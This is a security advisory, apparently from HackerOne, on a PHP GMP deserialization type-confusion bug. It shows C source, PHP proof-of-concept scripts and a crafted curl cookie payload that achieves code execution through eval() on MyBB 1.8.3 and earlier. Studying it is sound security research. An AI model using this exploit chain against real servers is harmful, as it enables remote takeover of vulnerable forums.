PHP (IBB): GMP Deserialization Type Confusion Vulnerability [MyBB <= 1.8.3 RCE Vulnerability]

2017-01-16T13:37:46
ID H1:198734
Type hackerone
Reporter ryat
Modified 2019-10-13T11:11:07

Description

GMP Deserialization Type Confusion Vulnerability [MyBB <= 1.8.3 RCE Vulnerability]

Taoguang Chen <@chtg57> - Write Date: 2015.4.28

> A type-confusion vulnerability was discovered in GMP deserialization with crafted object's __wakeup() magic method that can be abused for updating any already assigned properties of any already created objects, this result in serious security issues.

Affected Versions

Affected is PHP 5.6 < 5.6.30

Credits

This vulnerability was disclosed by Taoguang Chen.

Description

gmp.c ``` static int gmp_unserialize(zval object, zend_class_entry ce, const unsigned char buf, zend_uint buf_len, zend_unserialize_data data TSRMLS_DC) / {{{ */ { ... ALLOC_INIT_ZVAL(zv_ptr); if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC) || Z_TYPE_P(zv_ptr) != IS_ARRAY ) { zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC); goto exit; }

if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {
    zend_hash_copy(
        zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),
        (copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)
    );
}

```

zend_object_handlers.c ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */ { zend_object *zobj; zobj = Z_OBJ_P(object); if (!zobj-&gt;properties) { rebuild_object_properties(zobj); } return zobj-&gt;properties; }

It has been demonstrated many times before that __wakeup() or other magic methods leads to ZVAL was changed from the memory in during deserializtion. So an attacker can change **object into an integer-type or bool-type ZVAL, then the attacker will be able to access any objects that stored in objects store via Z_OBJ_P. This means the attacker will be able to update any properties in the object via zend_hash_copy(). It is possible to lead to various problems and including security issues.

The following codes will prove this vulnerability: ``` <?php

class obj { var $ryat;

function __wakeup()
{
    $this-&gt;ryat = 1;
}

}

$obj = new stdClass; $obj->aa = 1; $obj->bb = 2;

$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}'; $exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}'; $x = unserialize($exploit); var_dump($obj);

?> ```

Expected result: object(stdClass)#1 (2) { ["aa"]=&gt; int(1) ["bb"]=&gt; int(2) }

Actual result: object(stdClass)#1 (3) { ["aa"]=&gt; string(2) "hi" ["bb"]=&gt; string(2) "hi" [0]=&gt; object(obj)#3 (1) { ["ryat"]=&gt; &int(1) } }

i) How to exploited this bug in real world? On php 5.6 <= 5.6.11, DateInterval's __wakeup() use convert_to_long() handles and reassignments its properties (it has been demonstrated many times), so an attacker can convert GMP object to an any integer-type ZVAL via GMP's gmp_cast_object():

static int gmp_cast_object(zval *readobj, zval *writeobj, int type TSRMLS_DC) /* {{{ */ { mpz_ptr gmpnum; switch (type) { ... case IS_LONG: gmpnum = GET_GMP_FROM_ZVAL(readobj); INIT_PZVAL(writeobj); ZVAL_LONG(writeobj, mpz_get_si(gmpnum)); return SUCCESS;

The following codes will prove this exploite way: ``` <?php

var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}'));

?> ``` Of course, a crafted __wakeup() can also be exploited, ex:

``` <?php

function __wakeup() { $this->ryat = (int) $this->ryat; }

?> ```

ii) Can be exploited this bug in real app?

On MyBB <= 1.8.3:

index.php if(isset($mybb-&gt;cookies['mybb']['forumread'])) { $forumsread = my_unserialize($mybb-&gt;cookies['mybb']['forumread']); }

MyBB <= 1.8.3 allow deserialized cookies via unserialize(), so an attacker will be able to update $mybb or other object's any properties, and it is possible to lead to security issues easily, ex: xss, sql injection, remote code execution and etc. :-)

P.S. I had reported this vulnerability and it had been fixed in mybb >= 1.8.4.

Proof of Concept Exploit

MyBB <= 1.8.3 RCE vulnerability

index.php eval('$index = "'.$templates-&gt;get('index').'";');

MyBB always use eval() function in during template parsing.

inc/class_templates.php class templates { ... public $cache = array(); ... function get($title, $eslashes=1, $htmlcomments=1) { global $db, $theme, $mybb; ... $template = $this-&gt;cache[$title]; ... return $template; }

If we can control the $cache, we will be albe to inject php code via eval() function.

inc/init.php $error_handler = new errorHandler(); ... $maintimer = new timer(); ... $mybb = new MyBB; ... switch($config['database']['type']) { case "sqlite": $db = new DB_SQLite; break; case "pgsql": $db = new DB_PgSQL; break; case "mysqli": $db = new DB_MySQLi; break; default: $db = new DB_MySQL; } ... $templates = new templates;

The $templates object was instantiated in init.php, and four objects was instantiated in this before. This means the $templates object's handle was set to 5 and stored into objects store, so we can access the $templates object and update the $cache property via convert GMP object into integer-type ZVAL that value is 5 in during GMP deserialization. This also means we can inject php code via eval() function.

When MyBB <= 1.8.3 and PHP5.6 <= 5.6.11, remote code execution by just using curl on the command line: curl --cookie 'mybb[forumread]=a:1:{i:0%3bC:3:"GMP":106:{s:1:"5"%3ba:2:{s:5:"cache"%3ba:1:{s:5:"index"%3bs:14:"{${phpinfo()}}"%3b}i:0%3bO:12:"DateInterval":1:{s:1:"y"%3bR:2%3b}}}}' http://127.0.0.1/mybb/